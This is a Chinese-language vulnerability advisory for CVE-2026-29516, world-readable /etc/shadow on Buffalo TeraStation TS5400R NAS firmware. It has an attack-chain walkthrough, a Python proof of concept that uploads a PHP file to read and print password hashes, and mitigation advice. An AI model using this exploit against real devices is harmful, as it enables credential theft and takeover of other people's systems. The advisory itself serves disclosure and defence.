IPBUF安全漏洞报告
English
CVE-2026-29516 CVSS 4.9 中危

CVE-2026-29516 Buffalo TeraStation NAS 过度文件权限信息泄露漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-29516
漏洞类型
过度文件权限/信息泄露
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Buffalo TeraStation NAS TS5400R

相关标签

CVE-2026-29516BuffaloTeraStationNAS过度文件权限信息泄露/etc/shadowPHP文件上传密码哈希泄露中等严重

漏洞概述

CVE-2026-29516是Buffalo TeraStation NAS TS5400R固件中的一个信息泄露漏洞。该漏洞存在于固件版本4.02-0.06及更早版本中,由于系统配置文件存在过度宽松的文件权限设置,攻击者可以通过认证后利用Web服务器的功能上传并执行PHP文件,进而读取系统敏感的/etc/shadow文件。/etc/shadow文件存储了系统中所有用户账户的密码哈希值,包括root超级管理员账户。攻击者获取这些哈希值后,可通过离线暴力破解或彩虹表攻击获取明文密码,从而完全控制受影响的NAS设备。此漏洞的CVSS评分为4.9,属于中等严重程度,主要风险在于机密性影响较高。攻击者需要具备高权限认证才能利用此漏洞,但一旦成功,可导致所有用户账户密码泄露,造成严重的安全隐患。建议受影响的用户尽快升级固件至最新版本或联系厂商获取安全补丁。

技术细节

该漏洞的根本原因在于Buffalo TeraStation NAS TS5400R固件中的文件权限配置不当。系统中关键的认证配置文件/etc/shadow被设置了world-readable权限,这意味着系统上任何用户(包括Web服务器进程)都可以读取该文件的内容。在正常的Unix/Linux系统中,/etc/shadow文件应该仅允许root用户读取,以保护密码哈希的安全。攻击者利用此漏洞的步骤如下:首先需要获取NAS设备的管理员账户凭据进行认证;然后利用Web管理界面的文件上传功能上传一个恶意的PHP脚本文件;接着通过访问该PHP文件使其在Web服务器上下文中执行;在PHP脚本中利用文件读取功能访问/etc/shadow文件;最后将获取的密码哈希值进行离线破解。由于Web服务器通常以具有一定权限的用户身份运行,而该用户能够读取/etc/shadow,因此恶意PHP代码可以成功读取敏感信息。攻击成功后,攻击者将获得所有系统账户的密码哈希,包括root账户,从而可以完全控制设备或横向移动到其他系统。

攻击链分析

STEP 1
步骤1
获取认证凭据:攻击者需要获取Buffalo TeraStation NAS TS5400R的管理员账户用户名和密码
STEP 2
步骤2
登录Web管理界面:使用获取的凭据登录NAS设备的Web管理接口,建立有效的认证会话
STEP 3
步骤3
上传恶意PHP文件:利用文件管理器功能上传包含恶意代码的PHP脚本文件到Web服务器目录
STEP 4
步骤4
执行PHP脚本:通过HTTP请求访问上传的PHP文件,触发其在Web服务器上下文中执行
STEP 5
步骤5
读取敏感文件:PHP脚本利用file_get_contents()函数读取/etc/shadow文件,由于该文件具有world-readable权限,读取操作成功
STEP 6
步骤6
提取密码哈希:攻击者获取所有用户账户的密码哈希值,包括root账户的哈希
STEP 7
步骤7
离线密码破解:使用暴力破解或彩虹表技术尝试还原明文密码,从而获得完全系统控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-29516 PoC - Buffalo TeraStation NAS Information Disclosure # Target: Buffalo TeraStation NAS TS5400R firmware <= 4.02-0.06 TARGET = "http://target-ip" # Replace with target IP USERNAME = "admin" # Replace with valid credentials PASSWORD = "password" # Replace with valid password def exploit(): """ This PoC demonstrates the excessive file permissions vulnerability in Buffalo TeraStation NAS TS5400R. The /etc/shadow file has world-readable permissions, allowing authenticated users to read password hashes. """ session = requests.Session() # Step 1: Login to the NAS web interface login_url = f"{TARGET}/cgi-bin/cgi?func=login" login_data = { "username": USERNAME, "password": PASSWORD } try: response = session.post(login_url, data=login_data, timeout=30) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Upload malicious PHP file through file manager upload_url = f"{TARGET}/cgi-bin/file-manager" php_payload = "<?php echo file_get_contents('/etc/shadow'); ?>" files = { 'file': ('exploit.php', php_payload, 'application/x-php') } response = session.post(upload_url, files=files, timeout=30) print("[+] PHP file uploaded") # Step 3: Execute the uploaded PHP file exec_url = f"{TARGET}/shared/exploit.php" response = session.get(exec_url, timeout=30) if response.status_code == 200 and 'root:' in response.text: print("[+] Successfully retrieved /etc/shadow contents") print("=" * 50) print(response.text) print("=" * 50) return True else: print("[-] Failed to retrieve shadow file") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2026-29516 PoC - Buffalo TeraStation NAS") print("Target: " + TARGET) exploit()

影响范围

Buffalo TeraStation NAS TS5400R firmware <= 4.02-0.06

防御指南

临时缓解措施
在厂商发布修复固件之前,建议采取以下临时缓解措施:1) 立即更改所有管理员账户的密码为强密码;2) 限制NAS设备的网络访问,仅允许受信任的IP段访问管理界面;3) 禁用不必要的Web服务功能;4) 定期检查系统日志,监控是否有异常的认证尝试和文件访问行为;5) 考虑在NAS设备前部署Web应用防火墙(WAF)进行访问控制;6) 如果业务允许,暂时关闭文件上传功能直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表